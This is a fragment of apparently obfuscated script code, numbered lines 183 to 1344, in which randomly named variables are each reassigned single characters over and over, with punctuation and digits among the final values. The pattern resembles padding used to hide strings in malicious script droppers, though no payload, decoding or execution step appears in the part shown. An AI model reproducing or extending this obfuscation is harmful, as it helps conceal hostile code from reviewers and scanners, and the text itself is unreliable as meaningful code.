183	nnvhov = "j";
184	nnvhov = "b";
185	nnvhov = "t";
186	nnvhov = "R";
187	nnvhov = "S";
188	nnvhov = "P";
189	nnvhov = "K";
190	nnvhov = "p";
191	nnvhov = "H";
192	nnvhov = "w";
193	nnvhov = "N";
194	nnvhov = "a";
195	nnvhov = "g";
196	nnvhov = "C";
197	itfotla = "M";
198	itfotla = "u";
199	itfotla = "f";
200	itfotla = "u";
201	itfotla = "r";
202	itfotla = "A";
203	itfotla = "h";
204	itfotla = "O";
205	itfotla = "A";
206	itfotla = "G";
207	itfotla = "E";
208	itfotla = "g";
209	itfotla = "X";
210	itfotla = "H";
211	itfotla = "G";
212	itfotla = "g";
213	ojsli = "B";
214	ojsli = "I";
215	ojsli = "s";
216	ojsli = "x";
217	ojsli = "G";
218	ojsli = "L";
219	ojsli = "k";
220	ojsli = "o";
221	ojsli = "y";
222	ojsli = "w";
223	ojsli = "S";
224	ojsli = "E";
225	ojsli = "c";
226	ojsli = "G";
227	ojsli = "N";
228	ojsli = "w";
229	ojsli = "X";
230	ojsli = "M";
231	ojsli = "c";
232	ojsli = "p";
233	ojsli = "d";
234	ojsli = "e";
235	vrsych = "L";
236	vrsych = "j";
237	vrsych = "E";
238	vrsych = "q";
239	vrsych = "E";
240	vrsych = "o";
241	vrsych = "Y";
242	vrsych = "o";
243	vrsych = "N";
244	vrsych = "B";
245	vrsych = "n";
246	vrsych = "G";
247	vrsych = "l";
248	vrsych = "H";
249	vrsych = "k";
250	vrsych = "v";
251	vrsych = "k";
252	vrsych = "J";
253	vrsych = "U";
254	vrsych = "R";
255	vrsych = "A";
256	vrsych = "Q";
257	vrsych = "x";
258	vrsych = "F";
259	vrsych = "k";
260	vrsych = "b";
261	vrsych = "U";
262	vrsych = "k";
263	vrsych = "r";
264	vrsych = "O";
265	vrsych = "N";
266	vrsych = "Z";
267	vrsych = "Y";
268	vrsych = "A";
269	vrsych = "k";
270	vrsych = "U";
271	vrsych = "i";
272	vrsych = "L";
273	hpaluz = "K";
274	hpaluz = "O";
275	hpaluz = "s";
276	hpaluz = "l";
277	hpaluz = "W";
278	hpaluz = "b";
279	hpaluz = "t";
280	hpaluz = "l";
281	hpaluz = "L";
282	hpaluz = "k";
283	hpaluz = "q";
284	hpaluz = "U";
285	hpaluz = "q";
286	hpaluz = "Y";
287	hpaluz = "p";
288	hpaluz = "g";
289	hpaluz = "g";
290	hpaluz = "N";
291	hpaluz = "y";
292	hpaluz = "d";
293	hpaluz = "e";
294	hpaluz = "t";
295	hpaluz = "e";
296	hpaluz = "s";
297	hpaluz = "F";
298	hpaluz = "L";
299	hpaluz = "r";
300	hpaluz = "u";
301	hpaluz = "j";
302	hpaluz = "m";
303	meuow = "A";
304	meuow = "f";
305	meuow = "c";
306	meuow = "X";
307	meuow = "Q";
308	sfycvcw = "A";
309	sfycvcw = "x";
310	sfycvcw = "t";
311	sfycvcw = "s";
312	sfycvcw = "X";
313	sfycvcw = "P";
314	sfycvcw = "u";
315	sfycvcw = "a";
316	sfycvcw = "V";
317	sfycvcw = "x";
318	sfycvcw = "F";
319	sfycvcw = "V";
320	sfycvcw = "z";
321	sfycvcw = "i";
322	sfycvcw = "N";
323	sfycvcw = "j";
324	mfbbixo = "x";
325	mfbbixo = "b";
326	mfbbixo = "e";
327	mfbbixo = "H";
328	mfbbixo = "s";
329	mfbbixo = "z";
330	mfbbixo = "A";
331	mfbbixo = "h";
332	mfbbixo = "z";
333	mfbbixo = "A";
334	mfbbixo = "n";
335	mfbbixo = "W";
336	mfbbixo = "s";
337	mfbbixo = "U";
338	mfbbixo = "H";
339	mfbbixo = "L";
340	mfbbixo = "C";
341	mfbbixo = "h";
342	mfbbixo = "b";
343	mfbbixo = "e";
344	mfbbixo = "G";
345	mfbbixo = "T";
346	mfbbixo = "x";
347	thwxs = "W";
348	thwxs = "S";
349	thwxs = "W";
350	thwxs = "S";
351	thwxs = "i";
352	thwxs = "B";
353	thwxs = "t";
354	thwxs = "f";
355	thwxs = "H";
356	thwxs = "w";
357	thwxs = "C";
358	thwxs = "y";
359	thwxs = "b";
360	thwxs = "z";
361	thwxs = "E";
362	thwxs = "%";
363	tiupzdx = "t";
364	tiupzdx = "f";
365	ghtxdpt = "p";
366	ghtxdpt = "q";
367	ghtxdpt = "v";
368	ghtxdpt = "N";
369	ghtxdpt = "C";
370	ghtxdpt = "H";
371	ghtxdpt = "K";
372	ghtxdpt = "x";
373	ghtxdpt = "x";
374	ghtxdpt = "U";
375	ghtxdpt = "l";
376	ghtxdpt = "X";
377	ghtxdpt = "q";
378	ghtxdpt = "u";
379	ghtxdpt = "j";
380	ghtxdpt = "o";
381	ghtxdpt = "Z";
382	ghtxdpt = "e";
383	ghtxdpt = "c";
384	ghtxdpt = "P";
385	ghtxdpt = "Y";
386	ghtxdpt = "A";
387	ghtxdpt = "v";
388	ghtxdpt = "v";
389	ghtxdpt = "e";
390	ghtxdpt = "x";
391	ghtxdpt = "_";
392	yfmzfbrw = "C";
393	yfmzfbrw = "s";
394	yfmzfbrw = "e";
395	yfmzfbrw = "u";
396	yfmzfbrw = "x";
397	yfmzfbrw = "U";
398	yfmzfbrw = "v";
399	yfmzfbrw = "P";
400	yfmzfbrw = "s";
401	yfmzfbrw = "W";
402	aptkn = "q";
403	aptkn = "J";
404	aptkn = "p";
405	aptkn = "D";
406	aptkn = "i";
407	aptkn = "Y";
408	aptkn = "U";
409	aptkn = "Y";
410	aptkn = "p";
411	aptkn = "c";
412	aptkn = "A";
413	aptkn = "l";
414	aptkn = "X";
415	aptkn = "a";
416	pryfuezgq = "p";
417	pryfuezgq = "W";
418	pryfuezgq = "q";
419	pryfuezgq = "e";
420	pryfuezgq = "Q";
421	pryfuezgq = "Y";
422	pryfuezgq = "m";
423	pryfuezgq = "d";
424	pryfuezgq = "i";
425	pryfuezgq = "u";
426	pryfuezgq = "y";
427	pryfuezgq = "M";
428	pryfuezgq = "D";
429	pryfuezgq = "t";
430	pryfuezgq = "q";
431	pryfuezgq = "q";
432	pryfuezgq = "P";
433	pryfuezgq = "B";
434	pryfuezgq = "e";
435	pryfuezgq = "s";
436	pryfuezgq = "v";
437	pryfuezgq = "t";
438	pryfuezgq = "L";
439	pryfuezgq = "J";
440	pryfuezgq = "r";
441	pryfuezgq = "f";
442	pryfuezgq = "@";
443	qlvgkhp = "Q";
444	qlvgkhp = "A";
445	qlvgkhp = "i";
446	qlvgkhp = "C";
447	qlvgkhp = "i";
448	qlvgkhp = "v";
449	qlvgkhp = "J";
450	qlvgkhp = "C";
451	qlvgkhp = "d";
452	qlvgkhp = "r";
453	qlvgkhp = "F";
454	qlvgkhp = "r";
455	qlvgkhp = "i";
456	qlvgkhp = "T";
457	qlvgkhp = "r";
458	qlvgkhp = "L";
459	qlvgkhp = "j";
460	qlvgkhp = "A";
461	qlvgkhp = "Q";
462	qlvgkhp = "A";
463	qlvgkhp = "d";
464	qlvgkhp = "K";
465	qlvgkhp = "L";
466	qlvgkhp = "N";
467	qlvgkhp = "y";
468	qlvgkhp = "j";
469	qlvgkhp = "o";
470	qlvgkhp = "M";
471	qlvgkhp = "D";
472	qlvgkhp = "I";
473	qlvgkhp = " ";
474	vbtvawram = "J";
475	vbtvawram = "W";
476	vbtvawram = "k";
477	vbtvawram = "A";
478	vbtvawram = "z";
479	vbtvawram = "Q";
480	vbtvawram = "l";
481	vbtvawram = "h";
482	vbtvawram = "T";
483	vbtvawram = "R";
484	vbtvawram = "q";
485	vbtvawram = "f";
486	vbtvawram = "k";
487	vbtvawram = "Q";
488	vbtvawram = "X";
489	vbtvawram = "b";
490	ghlseumq = "p";
491	ghlseumq = "p";
492	ghlseumq = "Z";
493	ghlseumq = "A";
494	ghlseumq = "v";
495	ghlseumq = "P";
496	ghlseumq = "q";
497	ghlseumq = "l";
498	ghlseumq = "t";
499	ghlseumq = "O";
500	ghlseumq = "M";
501	ghlseumq = "C";
502	ghlseumq = "U";
503	ghlseumq = "c";
504	ghlseumq = "w";
505	ghlseumq = "o";
506	ghlseumq = "Q";
507	ghlseumq = "X";
508	ghlseumq = "F";
509	lmlnt = "R";
510	lmlnt = "x";
511	lmlnt = "X";
512	lmlnt = "v";
513	lmlnt = "I";
514	lmlnt = "E";
515	lmlnt = "Q";
516	lmlnt = "R";
517	lmlnt = "k";
518	lmlnt = "z";
519	lmlnt = "T";
520	lmlnt = "A";
521	lmlnt = "I";
522	lmlnt = "O";
523	lmlnt = "r";
524	lmlnt = "O";
525	lmlnt = "S";
526	lmlnt = "P";
527	lmlnt = "f";
528	lmlnt = "u";
529	lmlnt = "e";
530	lmlnt = "j";
531	lmlnt = "O";
532	lmlnt = "i";
533	lmlnt = "H";
534	lmlnt = "W";
535	lmlnt = "5";
536	pgrdeooe = "n";
537	pgrdeooe = "A";
538	pgrdeooe = "p";
539	pgrdeooe = "K";
540	lonvyu = "s";
541	lonvyu = "Z";
542	lonvyu = "Z";
543	lonvyu = "H";
544	lonvyu = "z";
545	lonvyu = "P";
546	lonvyu = "G";
547	lonvyu = "n";
548	lonvyu = "I";
549	lonvyu = "V";
550	lonvyu = "E";
551	lonvyu = "R";
552	lonvyu = "Z";
553	lonvyu = "X";
554	lonvyu = "M";
555	lonvyu = "B";
556	lonvyu = "h";
557	lonvyu = "M";
558	lonvyu = "I";
559	lonvyu = "F";
560	lonvyu = "x";
561	lonvyu = "H";
562	lonvyu = "W";
563	lonvyu = "O";
564	lonvyu = "p";
565	lonvyu = "f";
566	lonvyu = "M";
567	lonvyu = "S";
568	lonvyu = "Y";
569	lonvyu = "v";
570	lonvyu = "A";
571	lonvyu = "U";
572	lonvyu = "d";
573	lonvyu = "r";
574	lonvyu = "q";
575	lonvyu = "n";
576	lonvyu = "D";
577	lonvyu = "z";
578	lonvyu = "Y";
579	lonvyu = "S";
580	lonvyu = "h";
581	kbdjzf = "L";
582	kbdjzf = "L";
583	kbdjzf = "r";
584	kbdjzf = "o";
585	kbdjzf = "f";
586	kbdjzf = "f";
587	kbdjzf = "H";
588	kbdjzf = "D";
589	kbdjzf = "o";
590	kbdjzf = "H";
591	rwzwhisf = "r";
592	rwzwhisf = "K";
593	rwzwhisf = "W";
594	rwzwhisf = "K";
595	rwzwhisf = "l";
596	rwzwhisf = "I";
597	rwzwhisf = "i";
598	rwzwhisf = "b";
599	rwzwhisf = "v";
600	rwzwhisf = "b";
601	rwzwhisf = "Z";
602	rwzwhisf = "D";
603	rwzwhisf = "H";
604	rwzwhisf = "G";
605	rwzwhisf = "D";
606	rwzwhisf = "L";
607	rwzwhisf = "X";
608	rwzwhisf = "o";
609	rwzwhisf = "r";
610	rwzwhisf = "t";
611	rwzwhisf = "z";
612	rwzwhisf = "m";
613	rwzwhisf = "H";
614	rwzwhisf = "G";
615	rwzwhisf = "X";
616	rwzwhisf = "m";
617	rwzwhisf = "r";
618	rwzwhisf = "Z";
619	rwzwhisf = "q";
620	rwzwhisf = "b";
621	rwzwhisf = "b";
622	rwzwhisf = "p";
623	rwzwhisf = "G";
624	rwzwhisf = "c";
625	rwzwhisf = "d";
626	rwzwhisf = "t";
627	rwzwhisf = "z";
628	rwzwhisf = "W";
629	rwzwhisf = "d";
630	rwzwhisf = "R";
631	rwzwhisf = "c";
632	rwzwhisf = "l";
633	ugrhxssc = "T";
634	ugrhxssc = "t";
635	ugrhxssc = "J";
636	ugrhxssc = "D";
637	ugrhxssc = "O";
638	ugrhxssc = "-";
639	yfxguzk = "w";
640	yfxguzk = "L";
641	yfxguzk = "c";
642	yfxguzk = "b";
643	yfxguzk = "z";
644	yfxguzk = "V";
645	yfxguzk = "I";
646	yfxguzk = "I";
647	yfxguzk = "j";
648	yfxguzk = "P";
649	yfxguzk = "k";
650	yfxguzk = "u";
651	yfxguzk = "x";
652	yfxguzk = "J";
653	yfxguzk = "i";
654	yfxguzk = "C";
655	yfxguzk = "U";
656	yfxguzk = "a";
657	yfxguzk = "n";
658	yfxguzk = "Q";
659	yfxguzk = "E";
660	yfxguzk = "d";
661	yfxguzk = "S";
662	yfxguzk = "t";
663	yfxguzk = "i";
664	yfxguzk = "v";
665	yfxguzk = "v";
666	gqmaickxa = "o";
667	qxsti = "u";
668	qxsti = "H";
669	qxsti = "A";
670	qxsti = "S";
671	qxsti = "S";
672	qxsti = "u";
673	qxsti = "o";
674	qxsti = "v";
675	qxsti = "F";
676	qxsti = "H";
677	qxsti = "c";
678	qxsti = "a";
679	qxsti = "t";
680	qxsti = "V";
681	qxsti = "c";
682	qxsti = "O";
683	qxsti = "M";
684	qxsti = "Q";
685	qxsti = "I";
686	qxsti = "j";
687	qxsti = "g";
688	qxsti = "I";
689	qxsti = "I";
690	qxsti = "N";
691	qxsti = "f";
692	qxsti = "w";
693	qxsti = "z";
694	qxsti = "O";
695	qxsti = "W";
696	qxsti = "H";
697	qxsti = "b";
698	qxsti = "J";
699	qxsti = "t";
700	qxsti = "T";
701	qxsti = "B";
702	qxsti = "s";
703	qxsti = "q";
704	qxsti = "r";
705	qxsti = "h";
706	qxsti = "i";
707	vocorqn = "Y";
708	vocorqn = "L";
709	vocorqn = "p";
710	vocorqn = "U";
711	vocorqn = "w";
712	vocorqn = "z";
713	vocorqn = "U";
714	vocorqn = "W";
715	vocorqn = "U";
716	vocorqn = "Q";
717	vocorqn = "H";
718	vocorqn = "s";
719	vocorqn = "m";
720	vocorqn = "Q";
721	vocorqn = "t";
722	vocorqn = "l";
723	vocorqn = "d";
724	vocorqn = "X";
725	vocorqn = "R";
726	vocorqn = "W";
727	vocorqn = "m";
728	vocorqn = ":";
729	sbayv = "k";
730	sbayv = "D";
731	sbayv = "j";
732	sbayv = "H";
733	sbayv = "Y";
734	sbayv = "I";
735	sbayv = "z";
736	sbayv = "M";
737	sbayv = "Z";
738	sbayv = "z";
739	sbayv = "l";
740	sbayv = "s";
741	krcnfeqk = "K";
742	krcnfeqk = "y";
743	krcnfeqk = "U";
744	krcnfeqk = "S";
745	krcnfeqk = "f";
746	krcnfeqk = "y";
747	krcnfeqk = "W";
748	krcnfeqk = "Z";
749	krcnfeqk = "v";
750	krcnfeqk = "R";
751	krcnfeqk = "i";
752	krcnfeqk = "m";
753	krcnfeqk = "X";
754	krcnfeqk = "j";
755	krcnfeqk = "j";
756	krcnfeqk = "Q";
757	krcnfeqk = "u";
758	krcnfeqk = "B";
759	krcnfeqk = "S";
760	krcnfeqk = "H";
761	krcnfeqk = "y";
762	krcnfeqk = "O";
763	krcnfeqk = "t";
764	krcnfeqk = "c";
765	krcnfeqk = "J";
766	krcnfeqk = "O";
767	krcnfeqk = "t";
768	epqatz = "Q";
769	epqatz = "z";
770	epqatz = "K";
771	epqatz = "R";
772	epqatz = "U";
773	epqatz = "H";
774	epqatz = "w";
775	epqatz = "S";
776	epqatz = "g";
777	epqatz = "M";
778	epqatz = "m";
779	epqatz = "L";
780	epqatz = "y";
781	epqatz = "i";
782	epqatz = "r";
783	epqatz = "v";
784	epqatz = "j";
785	epqatz = "j";
786	epqatz = "J";
787	epqatz = "A";
788	epqatz = "S";
789	epqatz = "M";
790	epqatz = "U";
791	epqatz = "H";
792	epqatz = "r";
793	epqatz = "D";
794	epqatz = "M";
795	epqatz = "V";
796	epqatz = "S";
797	epqatz = "E";
798	epqatz = "x";
799	epqatz = "v";
800	epqatz = "O";
801	pxpek = "A";
802	pxpek = "y";
803	pxpek = "U";
804	pxpek = "l";
805	pxpek = "G";
806	pxpek = "r";
807	pxpek = "V";
808	pxpek = "H";
809	pxpek = "T";
810	pxpek = "J";
811	pxpek = "e";
812	pxpek = "r";
813	ixgqgs = "r";
814	ixgqgs = "U";
815	ixgqgs = "K";
816	ixgqgs = "b";
817	ixgqgs = "L";
818	ixgqgs = "O";
819	ixgqgs = "P";
820	ixgqgs = "P";
821	ixgqgs = "R";
822	ixgqgs = "v";
823	ixgqgs = "G";
824	ixgqgs = "B";
825	ixgqgs = "M";
826	ixgqgs = "L";
827	ixgqgs = "H";
828	ixgqgs = "r";
829	ixgqgs = "b";
830	ixgqgs = "L";
831	ixgqgs = "e";
832	ixgqgs = "S";
833	ixgqgs = "r";
834	ixgqgs = "t";
835	ixgqgs = "u";
836	ixgqgs = "l";
837	ixgqgs = "R";
838	ixgqgs = "R";
839	ixgqgs = "h";
840	ixgqgs = "L";
841	ixgqgs = "m";
842	ixgqgs = "d";
843	ixgqgs = "f";
844	ixgqgs = "z";
845	ixgqgs = "q";
846	ixgqgs = "R";
847	ixgqgs = "F";
848	ixgqgs = "P";
849	ixgqgs = "x";
850	ixgqgs = "h";
851	ixgqgs = "M";
852	ixgqgs = "w";
853	ixgqgs = "h";
854	ixgqgs = "f";
855	ixgqgs = "H";
856	ixgqgs = "N";
857	bddzwy = "j";
858	bddzwy = "e";
859	bddzwy = "b";
860	bddzwy = "w";
861	bddzwy = "H";
862	bddzwy = "i";
863	bddzwy = "g";
864	bddzwy = "b";
865	bddzwy = "P";
866	bddzwy = "a";
867	bddzwy = "q";
868	bddzwy = "q";
869	bshefhig = "T";
870	bshefhig = "F";
871	bshefhig = "n";
872	bshefhig = "X";
873	bshefhig = "O";
874	bshefhig = "R";
875	bshefhig = "H";
876	bshefhig = "u";
877	bshefhig = "x";
878	bshefhig = "q";
879	bshefhig = "X";
880	bshefhig = "E";
881	bshefhig = "D";
882	bshefhig = "s";
883	bshefhig = "S";
884	bshefhig = "d";
885	bshefhig = "Q";
886	bshefhig = "N";
887	bshefhig = "a";
888	bshefhig = "h";
889	bshefhig = "m";
890	bshefhig = "q";
891	bshefhig = "P";
892	bshefhig = "u";
893	bshefhig = "K";
894	bshefhig = "w";
895	ycuzdqz = "f";
896	ycuzdqz = "x";
897	ycuzdqz = "G";
898	ycuzdqz = "h";
899	ycuzdqz = "z";
900	ycuzdqz = "b";
901	ycuzdqz = "p";
902	ycuzdqz = "l";
903	ycuzdqz = "V";
904	ycuzdqz = "B";
905	ycuzdqz = "c";
906	ycuzdqz = "X";
907	ycuzdqz = "h";
908	ycuzdqz = "S";
909	ycuzdqz = "I";
910	ycuzdqz = "M";
911	ycuzdqz = "q";
912	ycuzdqz = "D";
913	ycuzdqz = "F";
914	ycuzdqz = "p";
915	ycuzdqz = "G";
916	ycuzdqz = "u";
917	ycuzdqz = "o";
918	ycuzdqz = "S";
919	ycuzdqz = "d";
920	ycuzdqz = "W";
921	ycuzdqz = "o";
922	ycuzdqz = "Q";
923	ycuzdqz = "U";
924	ycuzdqz = "s";
925	ycuzdqz = "K";
926	ycuzdqz = "v";
927	ycuzdqz = "q";
928	ycuzdqz = "k";
929	ycuzdqz = "Q";
930	ycuzdqz = "u";
931	ycuzdqz = "R";
932	dfdulj = "V";
933	dfdulj = "U";
934	dfdulj = "J";
935	dfdulj = "r";
936	dfdulj = "F";
937	dfdulj = "V";
938	dfdulj = "Q";
939	dfdulj = "F";
940	dfdulj = "B";
941	dfdulj = "n";
942	dfdulj = "b";
943	dfdulj = "P";
944	dfdulj = "T";
945	dfdulj = "z";
946	dfdulj = "M";
947	dfdulj = "Z";
948	dfdulj = "e";
949	dfdulj = "u";
950	dfdulj = "F";
951	dfdulj = "S";
952	dfdulj = "G";
953	dfdulj = "y";
954	dfdulj = "B";
955	dfdulj = "o";
956	dfdulj = "H";
957	dfdulj = "W";
958	dfdulj = "a";
959	dfdulj = "L";
960	dfdulj = "J";
961	dfdulj = "D";
962	dfdulj = "Q";
963	dfdulj = "r";
964	dfdulj = "l";
965	dfdulj = "S";
966	dfdulj = "u";
967	bveog = "m";
968	bveog = "V";
969	bveog = "R";
970	bveog = "U";
971	bveog = "d";
972	bveog = "r";
973	bveog = "C";
974	bveog = "T";
975	bveog = "D";
976	bveog = "x";
977	bveog = "J";
978	bveog = "F";
979	bveog = "A";
980	bveog = "b";
981	bveog = "N";
982	bveog = "L";
983	bveog = "m";
984	bveog = "s";
985	bveog = "K";
986	bveog = "L";
987	bveog = "F";
988	bveog = "1";
989	sgdqzgoyy = "m";
990	sgdqzgoyy = "u";
991	sgdqzgoyy = "G";
992	sgdqzgoyy = "w";
993	sgdqzgoyy = "B";
994	sgdqzgoyy = "a";
995	sgdqzgoyy = "M";
996	sgdqzgoyy = "Y";
997	sgdqzgoyy = "T";
998	sgdqzgoyy = "m";
999	sgdqzgoyy = "B";
1000	sgdqzgoyy = "i";
1001	sgdqzgoyy = "b";
1002	sgdqzgoyy = "O";
1003	sgdqzgoyy = "s";
1004	sgdqzgoyy = "n";
1005	sgdqzgoyy = "z";
1006	sgdqzgoyy = "p";
1007	sgdqzgoyy = "g";
1008	sgdqzgoyy = "l";
1009	sgdqzgoyy = "S";
1010	ohnvl = "r";
1011	ohnvl = "A";
1012	ohnvl = "e";
1013	ohnvl = "Z";
1014	ohnvl = "b";
1015	ohnvl = "O";
1016	ohnvl = "q";
1017	ohnvl = "r";
1018	ohnvl = "r";
1019	ohnvl = "h";
1020	ohnvl = "b";
1021	ohnvl = "K";
1022	ohnvl = "O";
1023	ohnvl = "h";
1024	ohnvl = "e";
1025	ohnvl = "l";
1026	ohnvl = "P";
1027	ohnvl = "b";
1028	ohnvl = "g";
1029	ohnvl = "w";
1030	ohnvl = "d";
1031	ohnvl = "n";
1032	ohnvl = "E";
1033	ohnvl = "f";
1034	ohnvl = "w";
1035	ohnvl = "G";
1036	ohnvl = "C";
1037	ohnvl = "M";
1038	ohnvl = "o";
1039	ohnvl = "y";
1040	ohnvl = "B";
1041	ohnvl = "W";
1042	ohnvl = "A";
1043	ohnvl = "e";
1044	ohnvl = "q";
1045	ohnvl = "d";
1046	ohnvl = "j";
1047	ohnvl = "r";
1048	ohnvl = "G";
1049	ohnvl = "P";
1050	ohnvl = "I";
1051	unxqyfugo = "q";
1052	unxqyfugo = "t";
1053	unxqyfugo = "s";
1054	unxqyfugo = "E";
1055	unxqyfugo = "d";
1056	unxqyfugo = "&";
1057	tqtsanjus = "C";
1058	tqtsanjus = "T";
1059	tqtsanjus = "I";
1060	tqtsanjus = "2";
1061	uqjlqejq = "r";
1062	uqjlqejq = "Z";
1063	uqjlqejq = "m";
1064	uqjlqejq = "T";
1065	uqjlqejq = "m";
1066	uqjlqejq = "p";
1067	uqjlqejq = "h";
1068	uqjlqejq = "l";
1069	uqjlqejq = "k";
1070	uqjlqejq = "K";
1071	uqjlqejq = "G";
1072	uqjlqejq = "a";
1073	uqjlqejq = "P";
1074	qzudyvs = "E";
1075	qzudyvs = "o";
1076	qzudyvs = "G";
1077	qzudyvs = "o";
1078	qzudyvs = "J";
1079	qzudyvs = "T";
1080	qzudyvs = "O";
1081	qzudyvs = "S";
1082	qzudyvs = "d";
1083	qzudyvs = "p";
1084	qzudyvs = "D";
1085	qzudyvs = "W";
1086	qzudyvs = "s";
1087	qzudyvs = "U";
1088	qzudyvs = "p";
1089	qzudyvs = "F";
1090	qzudyvs = "y";
1091	qzudyvs = "u";
1092	qzudyvs = "B";
1093	qzudyvs = "c";
1094	qzudyvs = "K";
1095	qzudyvs = "F";
1096	qzudyvs = "L";
1097	qzudyvs = "O";
1098	qzudyvs = "F";
1099	qzudyvs = "i";
1100	qzudyvs = "Z";
1101	qzudyvs = "O";
1102	qzudyvs = "P";
1103	qzudyvs = "t";
1104	qzudyvs = ".";
1105	hgvvic = "R";
1106	hgvvic = "K";
1107	hgvvic = "Z";
1108	hgvvic = "U";
1109	hgvvic = "y";
1110	hgvvic = "H";
1111	hgvvic = "s";
1112	hgvvic = "w";
1113	hgvvic = "g";
1114	hgvvic = "h";
1115	hgvvic = "J";
1116	hgvvic = "j";
1117	hgvvic = "Q";
1118	hgvvic = "N";
1119	hgvvic = "X";
1120	hgvvic = "q";
1121	hgvvic = "e";
1122	hgvvic = "l";
1123	hgvvic = "c";
1124	hgvvic = "y";
1125	hgvvic = "p";
1126	hgvvic = "A";
1127	hgvvic = "F";
1128	hgvvic = "s";
1129	hgvvic = "v";
1130	hgvvic = "R";
1131	hgvvic = "T";
1132	hgvvic = "V";
1133	hgvvic = "H";
1134	hgvvic = "o";
1135	hgvvic = "M";
1136	hgvvic = "t";
1137	hgvvic = "0";
1138	ughkttr = "r";
1139	ughkttr = "D";
1140	ughkttr = "d";
1141	ughkttr = "F";
1142	ughkttr = "w";
1143	ughkttr = "a";
1144	ughkttr = "R";
1145	ughkttr = "l";
1146	ughkttr = "P";
1147	ughkttr = "R";
1148	ughkttr = "P";
1149	ughkttr = "y";
1150	ughkttr = "d";
1151	ughkttr = "J";
1152	ughkttr = "h";
1153	ughkttr = "s";
1154	ughkttr = "r";
1155	ughkttr = "G";
1156	ughkttr = "l";
1157	ughkttr = "u";
1158	ughkttr = "N";
1159	ughkttr = "E";
1160	ohapmfxhx = "C";
1161	ohapmfxhx = "w";
1162	ohapmfxhx = "J";
1163	ohapmfxhx = "N";
1164	ohapmfxhx = "f";
1165	ohapmfxhx = "i";
1166	ohapmfxhx = "H";
1167	ohapmfxhx = "s";
1168	ohapmfxhx = "x";
1169	ohapmfxhx = "C";
1170	ohapmfxhx = "W";
1171	ohapmfxhx = "c";
1172	ohapmfxhx = "s";
1173	ohapmfxhx = "X";
1174	ohapmfxhx = "s";
1175	ohapmfxhx = "i";
1176	ohapmfxhx = "o";
1177	ohapmfxhx = "c";
1178	ohapmfxhx = "L";
1179	ohapmfxhx = "t";
1180	ohapmfxhx = "v";
1181	ohapmfxhx = "M";
1182	ohapmfxhx = "h";
1183	ohapmfxhx = "U";
1184	mabkbphsw = "f";
1185	mabkbphsw = "E";
1186	mabkbphsw = "e";
1187	mabkbphsw = "X";
1188	mabkbphsw = "g";
1189	mabkbphsw = "f";
1190	mabkbphsw = "c";
1191	mabkbphsw = "i";
1192	mabkbphsw = "r";
1193	mabkbphsw = "a";
1194	mabkbphsw = "G";
1195	mabkbphsw = "k";
1196	mabkbphsw = "r";
1197	mabkbphsw = "f";
1198	mabkbphsw = "g";
1199	mabkbphsw = "f";
1200	mabkbphsw = "l";
1201	mabkbphsw = "u";
1202	mabkbphsw = "F";
1203	mabkbphsw = "D";
1204	mabkbphsw = "M";
1205	mabkbphsw = "a";
1206	mabkbphsw = "V";
1207	mabkbphsw = "R";
1208	mabkbphsw = "J";
1209	mabkbphsw = "o";
1210	mabkbphsw = "E";
1211	mabkbphsw = "x";
1212	mabkbphsw = "T";
1213	kzqlrn = "v";
1214	kzqlrn = "P";
1215	kzqlrn = "k";
1216	kzqlrn = "4";
1217	ovarj = "N";
1218	ovarj = "I";
1219	ovarj = "x";
1220	ovarj = "O";
1221	ovarj = "H";
1222	ovarj = "A";
1223	ovarj = "F";
1224	ovarj = "p";
1225	ovarj = "T";
1226	ovarj = "C";
1227	ovarj = "u";
1228	ovarj = "j";
1229	ovarj = "Z";
1230	ovarj = "a";
1231	ovarj = "p";
1232	ovarj = "Z";
1233	ovarj = "o";
1234	ovarj = "X";
1235	ovarj = "z";
1236	ovarj = "m";
1237	ovarj = "O";
1238	ovarj = "x";
1239	ovarj = "C";
1240	ovarj = "8";
1241	ijezchqda = "n";
1242	ijezchqda = "Q";
1243	ijezchqda = "d";
1244	ijezchqda = "z";
1245	ijezchqda = "M";
1246	ijezchqda = "X";
1247	ijezchqda = "I";
1248	ijezchqda = "r";
1249	ijezchqda = "N";
1250	ijezchqda = "c";
1251	ijezchqda = "u";
1252	ijezchqda = "u";
1253	ijezchqda = "A";
1254	ijezchqda = "f";
1255	ijezchqda = "x";
1256	ijezchqda = "3";
1257	ccsukklap = "f";
1258	ccsukklap = "o";
1259	ccsukklap = "q";
1260	ccsukklap = "o";
1261	ccsukklap = "U";
1262	ccsukklap = "s";
1263	ccsukklap = "V";
1264	ccsukklap = "S";
1265	ccsukklap = "M";
1266	ccsukklap = "w";
1267	ccsukklap = "s";
1268	ccsukklap = "j";
1269	ccsukklap = "j";
1270	ccsukklap = "n";
1271	ccsukklap = "U";
1272	ccsukklap = "S";
1273	ccsukklap = "x";
1274	ccsukklap = "U";
1275	ccsukklap = "d";
1276	idelaqc = "D";
1277	idelaqc = "U";
1278	idelaqc = "S";
1279	idelaqc = "o";
1280	idelaqc = "i";
1281	idelaqc = "g";
1282	idelaqc = "O";
1283	idelaqc = "Z";
1284	idelaqc = "J";
1285	idelaqc = "j";
1286	idelaqc = "R";
1287	idelaqc = "U";
1288	idelaqc = "F";
1289	idelaqc = "A";
1290	idelaqc = "e";
1291	idelaqc = "b";
1292	idelaqc = "I";
1293	idelaqc = "M";
1294	idelaqc = "r";
1295	idelaqc = "J";
1296	idelaqc = "c";
1297	idelaqc = "r";
1298	idelaqc = "P";
1299	idelaqc = "E";
1300	idelaqc = "e";
1301	idelaqc = "J";
1302	idelaqc = "Z";
1303	idelaqc = "Y";
1304	idelaqc = "e";
1305	idelaqc = "R";
1306	idelaqc = "V";
1307	idelaqc = "A";
1308	idelaqc = "k";
1309	idelaqc = "k";
1310	idelaqc = "\\";
1311	kaiziec = "Y";
1312	kaiziec = "z";
1313	kaiziec = "s";
1314	kaiziec = "a";
1315	kaiziec = "H";
1316	kaiziec = "z";
1317	kaiziec = "C";
1318	kaiziec = "Z";
1319	kaiziec = "v";
1320	kaiziec = "k";
1321	kaiziec = "n";
1322	kaiziec = "h";
1323	kaiziec = "B";
1324	kaiziec = "I";
1325	kaiziec = "Z";
1326	kaiziec = "B";
1327	kaiziec = "E";
1328	kaiziec = "Y";
1329	kaiziec = "S";
1330	kaiziec = "N";
1331	kaiziec = "Q";
1332	kaiziec = "U";
1333	kaiziec = "q";
1334	kaiziec = "p";
1335	kaiziec = "J";
1336	kaiziec = "V";
1337	kaiziec = "j";
1338	kaiziec = "Z";
1339	kaiziec = "s";
1340	kaiziec = "q";
1341	kaiziec = "o";
1342	kaiziec = "k";
1343	kaiziec = "S";
1344	kaiziec = "K";
